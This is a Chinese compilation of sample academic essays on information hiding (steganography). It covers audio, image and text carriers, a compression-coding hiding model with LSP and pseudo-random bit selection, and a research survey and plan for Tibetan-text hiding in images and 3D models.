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隱藏技術(shù)論文實用13篇

引論:我們?yōu)槟砹?3篇隱藏技術(shù)論文范文,供您借鑒以豐富您的創(chuàng)作。它們是您寫作時的寶貴資源,期望它們能夠激發(fā)您的創(chuàng)作靈感,讓您的文章更具深度。

隱藏技術(shù)論文

篇1

2、信息隱藏技術(shù)的防御攻擊性

信息隱藏技術(shù)防御攻擊的能力一定要很高,因為,網(wǎng)絡(luò)通信中,信息技術(shù)會經(jīng)常受到有意或無意的攻擊,比如刪除、非法攻擊或篡改等,都會對隱藏的信息造成損害,因此,信息隱藏技術(shù)必須具備高的防御能力。此外,網(wǎng)絡(luò)通信中經(jīng)常出現(xiàn)信號處理,如調(diào)制、有損壓縮、濾波等,也會對隱藏的信息造成破壞,所以,為了保障信息的安全,信息隱藏技術(shù)一定要擁有更強大的防御攻擊的能力。

3、信息隱藏技術(shù)的嵌入量大

信息隱藏的目的是為了無法被其他人或電腦發(fā)現(xiàn),為了提高信息隱藏的技術(shù),要將需要隱藏的信息放入一個相對數(shù)據(jù)量大的載體中,因此,信息隱藏要選擇一個信息量大的數(shù)據(jù)中。此外,還要滿足隱藏算法所需要的空間,從而保證信息隱藏的無法識別,保證信息的安全。

4、信息隱藏技術(shù)的自我恢復(fù)

信息隱藏后一旦需要提取,要能夠不需要原始載體信號,便可以從載體中將隱藏的信號提取出來,保證信息的完整。另外,將隱藏的信息提取出來后,要保證信息經(jīng)過一系列的提取過程后,仍能保證信息的完好無損,有效保證信息的安全性。因此,信息隱藏技術(shù)必須要有高度的自我恢復(fù)能力。

二、網(wǎng)絡(luò)通信中信息隱藏的技術(shù)途徑

1、信息隱藏于音頻信號中

將信息隱藏于音頻信號中,是將嵌入信息所采用的域為依據(jù),可將語音信息隱藏劃分為時域音頻隱藏、頻域音頻隱藏、離散余弦變換域音頻隱藏三種。時域音頻隱藏技術(shù)就是將音頻信號的頻率、幅度或結(jié)果進行處理,然后將其隱藏于音頻信號中,是一種簡單的隱藏技術(shù)。頻域音頻隱藏技術(shù)是將要隱藏的音頻文件根據(jù)頻域的區(qū)域進行處理,將需要隱藏的信息以偽噪聲的方式嵌于音頻信號中,從而達到隱藏的目的,并且很難被識別和發(fā)現(xiàn)。離散余弦變化域音頻隱藏技術(shù)是需要隱藏的信息變換格式,再將變換后的信息嵌于音頻信號中,起到深度隱藏的目的。此外,隨著網(wǎng)絡(luò)技術(shù)的發(fā)展和不斷創(chuàng)新,音頻信號隱藏還包括小波域隱藏技術(shù)和壓縮域隱藏技術(shù),效果都很好。

2、信息隱藏于圖像信號中

信息隱藏于圖像信號中主要有兩種方式,一是空間域隱藏技術(shù),就是利用空間替換法,將需要隱藏的信息替換到載體中,并且嵌入不重要的位置,例如將秘密信息嵌入像素點最低的有效位,實現(xiàn)信息的替換,從而保證信息的安全性;二是變換域隱藏技術(shù),就是將需要隱藏的信息轉(zhuǎn)換到變換域范圍,變換域是一直在變動的,因此,秘密信息進入變換域后悔進行反復(fù)變換,從而使得信息隱匿其中,很難被發(fā)現(xiàn)。變換域隱藏技術(shù)相比于空間域隱藏技術(shù)擁有更好的隱藏效果,并且安全性高、防御攻擊力強、自我恢復(fù)好,更適合信息的隱藏。

3、信息隱藏于文本信號中

信息隱藏于文本信息中,主要是將信息拆分為極其細碎的結(jié)構(gòu),然后將每個小部分分別隱藏于文本信息中,從而起到信息隱藏的目的。但是,文本信號需要龐大的數(shù)據(jù)量才能實現(xiàn)更好的信息隱藏,因此,在實際的應(yīng)用中,應(yīng)用率很低。此外,在網(wǎng)絡(luò)通信中,音頻信號隱藏技術(shù)和圖像信號隱藏技術(shù)的隱蔽性遠遠好于文本信號,所以,文本信號隱藏信息的使用率低;同時,也由于文本信號的防御能力差、自我修復(fù)力也差,使得文本信號隱藏信息的安全性降低,不利于信息的隱藏。

篇2

信息隱藏是一門新興的信息安全技術(shù)。論文參考。涉及感知學(xué),信息論,密碼學(xué)等多個學(xué)科領(lǐng)域,涵蓋信號處理,擴頻通信等多專業(yè)技術(shù)。 近年來得到了迅猛發(fā)展。現(xiàn)階段人們一般選擇圖像、文本、音頻和視頻等數(shù)字媒體作為載體。另外, 還出現(xiàn)了基于TCP/IP 的信息隱藏技術(shù)和基于信道編碼的信息隱藏技術(shù)。本文研究的基于壓縮編碼的信息隱藏技術(shù)是信息隱藏技術(shù)的新領(lǐng)域, 它以多媒體系統(tǒng)中的壓縮數(shù)據(jù)作為嵌入載體,數(shù)據(jù)解壓后不影響原始數(shù)據(jù)數(shù)據(jù)的結(jié)構(gòu)和統(tǒng)計特性, 具有較強的魯棒性和不可檢測性。

2 壓縮編碼信息隱藏的原理

壓縮編碼是一種提高數(shù)據(jù)傳輸有效性的技術(shù),它是通過對數(shù)據(jù)施加某種操作或變換使之長度變短或者容量變小的同時, 還必須保證原始數(shù)據(jù)能夠從壓縮產(chǎn)生的壓縮碼中得以精確的還原。從信息論的角度來看,壓縮就是去掉信息中的冗余,即保留不確定的信息,去掉確定的信息(可推知的),也就是用一種更接近信息本質(zhì)的描述來代替原有冗余的描述。這個本質(zhì)的東西就是信息量(即不確定因素)。信息隱匿和數(shù)據(jù)壓縮在本質(zhì)上是相互聯(lián)系的:對于數(shù)據(jù)壓縮來講,一塊數(shù)據(jù)中隱匿了和數(shù)據(jù)本身無關(guān)的地的其它數(shù)據(jù),那這塊隱藏了信息的數(shù)據(jù)是有一定冗余的,由冗余的數(shù)據(jù)可以進一步被壓縮,進一步壓縮的就有可能去掉隱匿的數(shù)據(jù);對于信息隱匿來說,一塊已被壓縮過的數(shù)據(jù)冗余量已經(jīng)很小了,由于隱匿是嵌入的數(shù)據(jù)和原始數(shù)據(jù)毫無關(guān)系,在這塊數(shù)據(jù)中進一步隱匿數(shù)據(jù),勢必造成原始掩護數(shù)據(jù)的有效數(shù)據(jù)的減少,相當于隊已經(jīng)壓縮的數(shù)據(jù)進行進一步壓縮。只要保證在接收端解壓中可以恢復(fù)原始數(shù)據(jù)的差錯率,就可以在壓縮編碼后進行信息隱匿,不會引起截獲者懷疑碼字載體中含有秘密信息。

3 壓縮編碼信息隱匿模型實現(xiàn)方案

基于信息隱匿和數(shù)據(jù)壓縮的關(guān)系,提出結(jié)構(gòu)如下的數(shù)據(jù)壓縮思想的通用隱匿模型。模型主要由三個部分組成:圖像壓縮、信息加密和信息隱匿。圖像壓縮部分的量化器輸出至信息隱匿部分,然后從信息隱匿部分得到隱藏有其他信息的量化數(shù)據(jù),并送到熵編碼器,其他內(nèi)容和標準壓縮過程一致。信息加密部分為傳統(tǒng)的加密方案,其主要目的是增加秘密信息的安全性,使得系統(tǒng)隱匿的信息部分即使被檢測出來,也不會泄露其內(nèi)容。論文參考。

信息隱匿部分是模擬最核心的內(nèi)容,這部分主要有三個部分組成:數(shù)據(jù)變換,數(shù)據(jù)選擇和嵌入過程。數(shù)據(jù)變化的主要目的是改變加密后的信息統(tǒng)計特性,使得這些數(shù)據(jù)嵌入掩護圖像量化后的數(shù)據(jù)之中,不改變或很少改變掩護圖像的數(shù)據(jù)統(tǒng)計特性,從而使信息隱匿后的抗檢測性大大增強。數(shù)據(jù)選擇是從掩護圖像量化后的數(shù)據(jù)中選擇合適的比特位,用它來隱藏已加密的信息。合理的數(shù)據(jù)選擇算法應(yīng)該兼顧信息隱匿的容量,信息隱匿的抗檢測性與魯棒性。嵌入過程式將加密后的信息和選擇出來的數(shù)據(jù)進行某種運算(通稱為替換或異或),用運算結(jié)果替換選擇出來的數(shù)據(jù),并將此數(shù)據(jù)連同未選擇出來的量化數(shù)據(jù)一并交給圖像壓縮部分的熵編碼進行編碼。

圖1 基于數(shù)據(jù)壓縮思想的通用信息隱匿模型

通用模型的秘密信息提取過程基本上是隱匿的逆過程,其流程圖如下

圖2通用信息隱匿模型的信息提取過程

壓縮后的數(shù)據(jù)首先經(jīng)過熵解碼器解碼,然后進行數(shù)據(jù)分離,將未嵌入的數(shù)據(jù)部分送入正常的圖像解碼流程(反量化,反映射變換),而將嵌入數(shù)據(jù)的部分進行數(shù)據(jù)提取,如果此過程的算法不是盲的(即需要原始掩護圖像),則需要分離出來的數(shù)據(jù)和原始掩護圖像經(jīng)映射變化,量化后的數(shù)據(jù)進行運算,將結(jié)果進行數(shù)據(jù)恢復(fù)、解密、最后得到嵌入的原始秘密信息。

4 隱匿模型的兩種關(guān)鍵技術(shù)

在這種通用的信息隱匿模型中,數(shù)據(jù)變換和數(shù)據(jù)選擇是關(guān)鍵技術(shù)

數(shù)據(jù)變換的主要目的是改變加密后的信息統(tǒng)計特性,增強系統(tǒng)信息隱匿的抗檢測性能。改變數(shù)據(jù)的統(tǒng)計特性的常用方法是進行線性濾波,從本質(zhì)上來講,線性濾波和線性變換是一致的,從頻域上來看,濾波就是對信號頻譜的不同部分進行不同的縮放。在技術(shù)上常就是這樣一個過程:DFT→相乘→IDFT,將這一過程合并為一體時,就成為一個單純的線性變換。在復(fù)數(shù)域中進行整數(shù)的可逆處理時,數(shù)據(jù)量就會增加一倍,為此可以經(jīng)DFT換成DCT,這樣這一處理過程就成為一實數(shù)域的線性變換問題。

下面介紹整型變換算法的基本過程。

(1)對于給定的線性變換A,如是常見的線性變換,則進行(2),否則對其進行改造,使det| A ‘ |=1。

(2)將A ‘ 分解為3類基本矩陣(置換矩陣,元素的絕對值均不小于1的對角陣,單位三角矩陣)。

(3)對于每一基本矩陣,構(gòu)造其整型變換,獲得整數(shù)輸出。

(4)對于每一步都應(yīng)有相應(yīng)的逆變換,所以整個變換的逆變換可以相應(yīng)的獲得。

(5)對于多維可分離的線性變換,正變換可以逐維的計算;為了保證逆變換對于多維數(shù)據(jù)的完全重建,應(yīng)嚴格按照和正變換相反的次序進行逆變換。

實現(xiàn)數(shù)據(jù)變換時的另一個問題是數(shù)據(jù)的范圍問題。在實際處理過程中,輸入的數(shù)據(jù)都是有一定的范圍的(比如原始圖像數(shù)據(jù)通常用8位無符號數(shù)據(jù)表示),如果輸出的數(shù)據(jù)不加以限制,則輸出的數(shù)據(jù)的范圍一般要增大,這樣就必須用更多的數(shù)據(jù)表示處理結(jié)果。

數(shù)據(jù)選擇過程是從掩護圖像的量化數(shù)據(jù)中選擇合適的比特位,用它來隱匿已加密的信息。最基本的做法是選擇掩護數(shù)據(jù)中的不重要的部分,這樣做得優(yōu)點是對掩護圖像的質(zhì)量影響最小,使修改引起別人注意的可能性最小。但是在實際系統(tǒng)中,數(shù)據(jù)選擇算法應(yīng)該兼顧信息隱匿的容量,信息隱匿的抗檢測性與魯棒性等多個方面的性能,可以選擇下面三種。

1.LSP(LeastSignificant Portion)最不重要部分

LSP技術(shù)和LSB(最不重要比特位)技術(shù)基本類似,區(qū)別在于LSB平等的對待掩護圖像中的每一字節(jié),不同的字節(jié)之間沒有區(qū)別,在隱藏時都在數(shù)據(jù)的最低位取相等比特;而LSP針對變換量化后的數(shù)據(jù)而言,不同位置的重要程度不同,從中所取的最低有效比特數(shù)就不同,其中低頻數(shù)據(jù)是取得少一些,而在高頻數(shù)據(jù)中取得多一些。另外,不同位置的數(shù)據(jù)取值范圍也不一樣,最多的可取比特數(shù)也不一樣。論文參考。

2.隨機間隔法

隨機間隔技術(shù)是以LSP為基礎(chǔ)的一種方法,在數(shù)據(jù)選擇時用一個掩密密鑰k作隨機數(shù)發(fā)生的種子,那么可以生成一個隨機序列k 1 ,…,k l ,并且把它們一起按下列方式生成隱匿信息位置來對經(jīng)LSP選擇的數(shù)據(jù)進行進一步選擇:j 1 =k 1

j i =k i +j i-1

從而可以偽隨機決定兩個嵌入位置的距離。這種方法由于隱匿的位置更少,所以更不容易被檢測出來。

3.隨機位置法

隨機位置技術(shù)是另外一種偽隨機的方法,它也以LSP技術(shù)為基礎(chǔ)。和隨機間隔法不同的是,它對不同的位置變換數(shù)據(jù)及量化數(shù)據(jù)的不同比特位賦予不同的選擇概率p 1 ,…,p l ,在數(shù)據(jù)選擇時也用一個偽裝密鑰k作為隨機發(fā)送的種子,那么可以生成一個一個隨機序列k 1 ,…,k l ,當k i ≥p i 時選擇比特,否則不進行選擇。在此方法中選擇合適概率取值方案可以兼顧信息隱匿的容量、懸念吸引你的抗檢測性與魯棒性等多方面的性能,是一種更靈活的方法。當然可以將隨機間隔法和隨機位置發(fā)結(jié)合起來使用,那是一種更靈活、更復(fù)雜的方案。

5 實驗結(jié)果

運用本文提出的通用模型,以lena(512像素×512像素),作為掩護圖像,在其中隱匿隨機數(shù)據(jù),映射變換采用8×8的DCT,經(jīng)數(shù)據(jù)變換過程,結(jié)果如下圖所示。圖中從左到右,從上到下依次為:原始圖像,未嵌入數(shù)據(jù)的JPEG圖像,嵌入不等數(shù)據(jù)量的JPEG圖像。隨著嵌入數(shù)據(jù)量的增加,掩護圖像的直觀質(zhì)量會下降,這種質(zhì)量的下降類似于不同壓縮比條件下JPEG圖像質(zhì)量的不同下降,從信息隱匿的角度來看,這種相似性是有利的。

圖3 圖用模型的數(shù)據(jù)隱匿效果

6 小結(jié)

研究了一種基于壓縮編碼的信息隱匿技術(shù),介紹了信息隱匿通用模型的兩種關(guān)鍵技術(shù):數(shù)據(jù)變換和數(shù)據(jù)選擇技術(shù),通過實驗得到嵌入量與圖像質(zhì)量的關(guān)系。隨著通信技術(shù)的不斷發(fā)展,信息安全將成為一門很重要的學(xué)科,對于通信信息隱匿還要尋找更先進,更合理的算法來達到通信的安全性能。

參考文獻:

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[3]柏森,胡中豫,吳樂華等.通信信息隱匿技術(shù)[M].北京:國防工業(yè)出版社,2005.

篇3

0 引 言

安全、有效的信息傳輸對國家安全、社會穩(wěn)定和人民安居樂業(yè)至關(guān)重要。網(wǎng)絡(luò)和多媒體技術(shù)的發(fā)展,使得信息傳輸?shù)乃俣群蛿?shù)量正以驚人的增量發(fā)展。然而,信息傳輸?shù)谋憷诜奖闳藗兊耐瑫r也給信息安全帶來了隱患,同時也為基于數(shù)字載體的秘密信息傳輸提供了廣闊的研究空間。目前,基于載體的秘密信息傳輸是信息安全領(lǐng)域的一個方興未艾的研究熱點。而基于載體預(yù)處理的藏文信息隱藏技術(shù)將為信息安全領(lǐng)域提供一些新的數(shù)字信息共享和傳輸理念,特別是藏文的預(yù)處理規(guī)律、在數(shù)字信息中的隱藏規(guī)律等,將有助于涉藏秘密通信技術(shù)的發(fā)展,并可以對民用和商用領(lǐng)域中涉及到藏文內(nèi)容的傳輸、共享、存儲和提取的通信過程起到安全保護、版權(quán)保護及完整性認證的作用,并對國家涉藏領(lǐng)域的網(wǎng)絡(luò)輿情監(jiān)控、國內(nèi)外涉藏敏感信息標注和情感色彩認知起著至關(guān)重要的作用。

在藏文信息隱藏技術(shù)方面,目前主要涉及的技術(shù)有關(guān)鍵字識別、字符識別和提取、韻律認知、語義角色標注、文本資源挖掘和語料抽取等,并以此為基礎(chǔ)進行置亂優(yōu)化。

1 國內(nèi)外信息隱藏技術(shù)研究現(xiàn)狀

信息隱藏一直是信息安全領(lǐng)域中保障隱秘信息安全傳輸和數(shù)字信息版權(quán)的重要手段,也是近年來國內(nèi)外學(xué)者研究的熱點之一。最新的一屆ACM信息隱藏和多媒體安全會議(ACM IH&MMSec’13 Workshop)的主要研究內(nèi)容有信息隱藏算法、多媒體水印和認證、載體運算域的數(shù)字信號處理等。其中,信息隱藏算法的設(shè)計首先依賴于載體的選擇和預(yù)處理;關(guān)于多媒體水印和認證的研究則將信息隱藏和數(shù)字水印的載體范圍從數(shù)字圖像等常見載體拓展到了包括三維模型在內(nèi)的新型載體上;載體運算域的數(shù)字信號處理涉及到了載體預(yù)處理時所用的具體方法,如空間域或變換域等。2013年IEEE 圖像處理國際會議(IEEE ICIP 2013)的主要研究內(nèi)容包括圖像、音視頻和3-D等多媒體的信息隱藏算法和多媒體特征提取和分析等,這兩類研究內(nèi)容均與載體的選取和預(yù)處理有關(guān)。最新一屆信息隱藏國際會議(IH2012)的主要研究內(nèi)容包括多媒體安全和其他載體的信息隱藏。我國的第十一屆全國信息隱藏暨多媒體安全學(xué)術(shù)大會(CIHW2013)中關(guān)于信息隱藏算法的研究內(nèi)容也主要集中在非常規(guī)載體的分析和預(yù)處理上。

藏文作為信息隱藏領(lǐng)域一種新的信息格式,對其研究主要局限于藏文操作系統(tǒng)、藏文信息技術(shù)標準、藏文信息處理等幾個方面[1],具體內(nèi)容集中在藏文編碼字符集、術(shù)語集、拼音輔助集等的建立。

基于載體的秘密通信技術(shù)是20世紀90年代中期發(fā)展起來的跨領(lǐng)域的學(xué)科,而載體的預(yù)處理技術(shù)一直是其研究的主要方向。對隱藏載體進行預(yù)處理,生成信息隱藏嵌入?yún)^(qū)域是信息隱藏算法中最重要的研究內(nèi)容之一。從上述國內(nèi)外各學(xué)術(shù)會議中關(guān)于信息隱藏的參會論文和研討情況看,各類載體固有特性的研究對預(yù)處理技術(shù)有著重要的意義,且數(shù)字圖像依然是主要的一類載體,而三維模型將是未來主要研究的一類非常規(guī)載體。下面就對數(shù)字圖像和三維模型兩類載體的預(yù)處理技術(shù)的研究現(xiàn)狀進行闡述。

1.1 數(shù)字圖像預(yù)處理技術(shù)研究綜述

基于數(shù)字圖像的信息隱藏技術(shù)是信息隱藏學(xué)科中重要的技術(shù)分支,是目前應(yīng)用最廣、覆蓋范圍最大的信息隱藏技術(shù)手段。在基于數(shù)字圖像的信息隱藏技術(shù)研究中,信息隱藏區(qū)域的生成是關(guān)系算法性能的重要因素。信息隱藏區(qū)域的生成方法主要包括空間域生成法、變換域生成法以及空間域和變換域聯(lián)合的生成方法。

空間域算法:作為空間域算法中出現(xiàn)最早、操作最簡單且應(yīng)用最廣泛的算法,基于位平面分解理論的LSB算法可以直接替換的方式隱藏較大的數(shù)據(jù)量,劉紅翼等提出的一種LSB算法具有容量大、運算量小的特點[2];劉文彬等提出的LSB隱寫替換的消息定位方法則可以對此類算法進行檢測[3];而IH2012的論文中,有學(xué)者運用假設(shè)檢驗理論和含秘載體的奇偶感知特性可有效地檢測LSB算法所隱藏的隱秘信息[4,5],這些研究為藏文信息隱藏中涉及到關(guān)于此類算法的抗檢測性研究提供了新的待改進方向。張焱等提出的像素值排序和趙彥濤等提出的直方圖修改等空間域算法在沿用LSB直接替換的隱藏理念的同時,還提升了魯棒性,因此也被廣泛用于數(shù)字圖像載體預(yù)處理[6,7];隨后,楊春芳等提出了針對此類算法的檢測方法[8],這也為針對此類算法抗檢測性改進的研究提供了重要依據(jù)。此外,上述同類算法中的載體子區(qū)域劃分思想、內(nèi)容自適應(yīng)思想等也對本項目基于載體結(jié)構(gòu)特性建立空間匹配模型的機制提供了方法學(xué)上的有力支持[9-13]。

變換域算法:不同于空間域算法直接對載體的空間特性進行修改,變換域預(yù)處理方法以修改載體的頻率參數(shù)來隱藏信息[14],因此算法的魯棒性比空間域算法好。在此基礎(chǔ)上,唐燕等又對隱秘信息的檢測和恢復(fù)進行了研究和改進,實現(xiàn)了幾乎無需原始參量的半盲提取[15]。盡管變換域算法不具備空間域算法容量大、運算量小和易操作等優(yōu)勢,但是變換域中的多小波理論因其同時具有對稱性、短支撐性、二階消失矩和正交性等特性成為了信號處理中有明顯優(yōu)勢且較常用的方法,在前期研究中利用多小波方法將數(shù)字圖像載體分塊后作為嵌入?yún)^(qū)域,提高了算法的魯棒性和不可見性[16,17],這種方法為在藏文信息隱藏研究中建立基于區(qū)域能量的階梯性分布機制提供了一種研究手段。

混合域算法:較單獨運用一種空間域或變換域生成隱藏區(qū)域并設(shè)計信息隱藏算法來看,基于空間域與變換域聯(lián)合的信息隱藏算法可以兼有多種算法的性能優(yōu)勢。在基于空間域和變換域聯(lián)合的信息隱藏算法中,空間域的作用體現(xiàn)在數(shù)據(jù)嵌入的具體操作方面,因為隱藏的實質(zhì)就是在當前環(huán)境下的空間分量上進行數(shù)據(jù)修改,利用邊緣像素值差分(Edged Pixel Value Differencing,EPVD)將載體換算為若干個像素塊,以最大斜角的數(shù)據(jù)修改作為信息隱藏的具體方法[18];利用濕紙碼和基于LSBM的雙層隱寫來對載體進行加1嵌入或減1嵌入[19];另外,國內(nèi)外許多學(xué)者利用調(diào)色板理論進行數(shù)據(jù)嵌入[20,21]。而變換域在載體預(yù)處理中的主要作用是生成滿足特定需要的信息隱藏環(huán)境(區(qū)域),主要包括變換后的系數(shù)分布以及n階分量子圖等。如對RSV顏色空間的V分量做DCT變換,分塊后作為嵌入?yún)^(qū)域[22];利用視覺顯著點技術(shù)確定跟蹤窗(Regions of Interest,ROI),在ROI的DCT系數(shù)上嵌入隱藏信息,并指定某個ROI邊緣地圖脆弱性標識,嵌入到DWT變換后的含密圖像中[23];前期研究中,研究人員利用自適應(yīng)顏色遷移理論中l(wèi)αβ域?qū)︻伾目刂屏Γ薘GB顏色分量的強相關(guān)性,并結(jié)合GHM能量分區(qū)隱藏信息,在不可見性、嵌入信息量和魯棒性方面均具有較好的表現(xiàn)[24]。

1.2 三維模型預(yù)處理技術(shù)研究綜述

潘志庚等將基于三維模型的信息隱藏預(yù)處理方法主要分為空間域算法和變換域算法[25]。這也這為藏文信息隱藏研究提供了新的思路和方法。

空間域算法:空間域算法通常具有易嵌入和盲提取的特點,如直接置換載體的幾何信息來隱藏數(shù)據(jù)是三維模型載體信息隱藏最原始、最直接的方法[26]。為改進此類算法的魯棒性,引入仿射不變量是有效的措施,如利用具有連續(xù)解析性的仿射不變量優(yōu)化需要置換的頂點[27]、 將穩(wěn)態(tài)錨點通過三角垂心編碼解析為聚類元素從而嵌入隱秘信息[28]。此外,基于主元分析的算法也有助于改善空間域算法的魯棒性,例如可根據(jù)主元分析(Primary Component Analysis,PCA)來確定模型的關(guān)鍵位置作為魯棒區(qū)域,并用網(wǎng)格分割法改進魯棒性和不可見性[29-32]。這類算法也為藏文信息隱藏從載體結(jié)構(gòu)特性進行解析和預(yù)處理提供了理論依據(jù)。改進型的空間域算法多針對魯棒性或容量性有所提升,如基于連續(xù)解析性的體積矩的盲算法,改善了之前算法對連通性攻擊的魯棒性[33];通過重排頂點和面片在網(wǎng)格文件中的表示信息,利用表示域內(nèi)的信息進行嵌入使算法具有良好的不可見性和大容量性[34],但對相似變換以外的攻擊不具有魯棒性。

變換域算法:三維模型預(yù)處理的變換域方法大多利用頻譜分析將模型信息參數(shù)化[35],對參數(shù)進行少量修改后以隱藏信息,其中,基于小波變換的算法可以對規(guī)則和非規(guī)則網(wǎng)格模型進行小波域參量修改以嵌入較多信息[36]。理論上,變換域算法比空間域算法魯棒性強,但由于三維模型頂點的天然無序性和不規(guī)則性,對其進行頻譜分析難度大,導(dǎo)致變換域算法實用性目前較低,因此空間域算法依然是比變換域算法更有實用價值的研究方向[37]。

2 藏文信息隱藏技術(shù)研究現(xiàn)狀

目前反映藏文信息處理技術(shù)最新進展的文獻較少,綜合以已有的研究成果及相關(guān)研究文獻,藏文信息處理可劃分為藏語信息處理和藏字信息處理兩個層次[38,39]。藏語信息處理包括機器翻譯、信息檢索、信息提取、文本校對、文本生成、文本分類、自動摘要以及藏文字識別和語音識別的后處理等等;而藏字信息處理包括操作系統(tǒng)以及編碼字符集、輸入技術(shù)、字形描述與生成、存儲、編輯、排版、字頻統(tǒng)計和藏字屬性庫等。這些研究基礎(chǔ)對藏文信息隱藏技術(shù)的發(fā)展至關(guān)重要,是基于載體預(yù)處理的藏文信息隱藏的主要技術(shù)來源。鑒于藏文的獨特構(gòu)造,以及藏文的特點,目前對藏文秘密信息的預(yù)處理技術(shù)一般指置亂和加密算法的選擇[40],而置亂使信息變得雜亂無章難以辨認,可以起到加密與改變信息嵌入特性的作用。可用于藏文信息隱藏的置亂算法主要有Arnold變換、幻方矩陣、Gray碼變換、混沌序列等方法[41]。其中,Arnold變換算法簡單且置亂效果顯著,使有意義的數(shù)字圖像變成像白噪聲一樣的無意義圖像,實現(xiàn)了信息的初步加密和信息結(jié)構(gòu)的調(diào)整,在嵌入信息為數(shù)字圖像時可以很好的應(yīng)用[42]。幻方置亂的思想基于查表思想,基于數(shù)字圖像的幻方置亂可降低幻方置亂階數(shù)或以圖像塊進行置亂,實現(xiàn)置亂效果與系統(tǒng)開銷的平衡[43]。Gray是一種具有反射特性和循環(huán)特性的單步自補碼,它的循環(huán)、單步特性消除了隨機取數(shù)時出現(xiàn)重大誤差的可能,它的反射、自補特性使得求反非常方便[44]。混沌的優(yōu)勢在于對初始條件的極端敏感和軌跡在整個空間上的遍歷性。根據(jù)經(jīng)典的Shannon置亂與擴散的要求,這些獨特的特征使得混沌映射成為信息隱藏嵌入算法的優(yōu)秀候選[45]。上述傳統(tǒng)的置亂算法一般用于正方形圖像處理,而經(jīng)過改進的Arnold算法可直接用于寬高不等的矩形圖像而不必進行正方形擴展[46],這也將是藏文信息隱藏技術(shù)所采用的主要置亂方法之一。

3 藏文信息隱藏技術(shù)的研究目標、研究內(nèi)容和要解決的問題

3.1 研究目標

面向藏文安全通信的高性能信息隱藏算法是目前藏文信息隱藏技術(shù)的主要目標,包括提出性能出色的、適合藏文通信要求的信息隱藏算法;提出一種具有普適性的高性能信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:

(1) 基于數(shù)字圖像的藏文信息隱藏算法:提出至少兩種基于數(shù)字圖像的藏文信息隱藏算法,算法將同時滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(PSNR≥34.90dB)、強魯棒性(抗擊大約69%以下的JPEG2000壓縮、35%以下的剪切及常見濾波與加噪)、大容量性(基于彩色圖像的信息隱藏信息嵌入率≥18%)以及高感知篡改性(檢測隱藏數(shù)據(jù)是否被篡改能力≥95%)。

(2) 基于三維模型的藏文信息隱藏算法:提出至少一種基于三維模型的藏文信息隱藏算法。算法將同時滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(RSNR≥69.94dB、En≥70%)、應(yīng)對一般攻擊的強魯棒性(抗擊大約0.10%隨機加噪、50-times Laplacian平滑、50%均勻重網(wǎng)格化以及均勻簡化等)、大容量性(相對理想的RSNR,嵌入率≥29%)以及低復(fù)雜度(根據(jù)載體模型幾何信息量而變化)。

(3) 普適性信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:利用載體圖像能量和復(fù)雜度特性,提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則,將適應(yīng)于所有對數(shù)字圖像處理后有能量區(qū)別的圖像處理方法,指導(dǎo)設(shè)計者利用能量與魯棒性、復(fù)雜度與不可見性的對應(yīng)關(guān)系,研究出同時滿足不可見性和魯棒性的信息隱藏算法。

3.2 研究內(nèi)容

(1) 藏文信息隱藏區(qū)域生成原則與規(guī)則研究:數(shù)字圖像信息隱藏技術(shù)的研究核心集中在隱藏區(qū)域和嵌入規(guī)則的設(shè)計上,藏文信息隱藏算法的設(shè)計方法和思路就是在選定藏文信息隱藏區(qū)域以及制定好信息隱藏規(guī)則后,按照一定的順序?qū)烧哌M行合理的組織,所以研究藏文信息隱藏區(qū)域生成原則以及信息隱藏規(guī)則是重點。

(2) 基于數(shù)字圖像的藏文信息隱藏算法研究:隱藏算法是基于數(shù)字圖像的信息隱藏技術(shù)的研究核心,需按照嵌入域進行劃分,對基于空間域和基于變換域的信息隱藏算法分別進行研究,提出單獨基于空間域、單獨基于變換域以及兩者聯(lián)合應(yīng)用的數(shù)字圖像信息隱藏算法。

(3) 基于三維模型的藏文信息隱藏算法研究:首先對三維模型的結(jié)構(gòu)特性和能量特性進行研究,再根據(jù)載體模型的特性找出對應(yīng)的預(yù)處理方法。在研究基于空間域和基于變換域的信息隱藏算法的基礎(chǔ)上,提出改進型的三維模型信息隱藏算法。主要用于提升載體有效嵌入容量和降低載體視覺失真度。

(4) 載體與藏文秘密信息的一致化方法研究:基于上述研究基礎(chǔ),生成結(jié)構(gòu)和能量差異化子區(qū)域,再將藏文秘密信息按照拼音屬性進行解析生成信息序列。再利用優(yōu)化算法使得預(yù)處理后的載體信息和藏文秘密信息的解析編碼獲得最大一致化,從而提高算法性能。

3.3 需解決的關(guān)鍵問題

綜合已有的研究,在藏文信息隱藏技術(shù)方面,目前需要解決的問題有以下幾個方面:

(1) 信息隱藏區(qū)域與嵌入規(guī)則設(shè)計:在具有什么性質(zhì)的區(qū)域內(nèi)應(yīng)用什么樣的規(guī)則進行藏文信息隱藏才可以解決“不可見性與魯棒性的對立、容量性與抗分析性的對立”問題,是藏文信息隱藏研究領(lǐng)域的關(guān)鍵技術(shù)之一。需找出隱藏區(qū)域的性質(zhì)與信息隱藏性能的關(guān)系,提出面向藏文信息傳輸?shù)男畔㈦[藏區(qū)域選擇的原則與方法;給出在具有具體性質(zhì)的嵌入?yún)^(qū)域中的藏文信息隱藏嵌入規(guī)則的制定原理和方法;提出大量的藏文信息數(shù)據(jù)轉(zhuǎn)換思想與方法,以提供形式多樣的信息隱藏嵌入規(guī)則。

(2) 數(shù)字圖像載體預(yù)處理方法:①多小波理論在載體預(yù)處理中的應(yīng)用。對于數(shù)字圖像經(jīng)過多小波變換后所具有的特殊性質(zhì),找出多小波變換后數(shù)字圖像所具有的能量特性與基于數(shù)字圖像信息隱藏算法性能之間所遵循的規(guī)律已有學(xué)者進行研究。②顏色空間的性能分析與應(yīng)用選取。RGB、CMYK、lαβ、YUV以及HSx顏色空間,應(yīng)用方法以及應(yīng)用各有優(yōu)劣勢。該技術(shù)的應(yīng)用難點在于為顏色空間在藏文信息隱藏的應(yīng)用提出完備的應(yīng)用方案,因為這些顏色空間在藏文信息隱藏技術(shù)中的應(yīng)用目前非常少,應(yīng)用優(yōu)劣還處于實驗驗證階段,沒有理論驗證的支持。

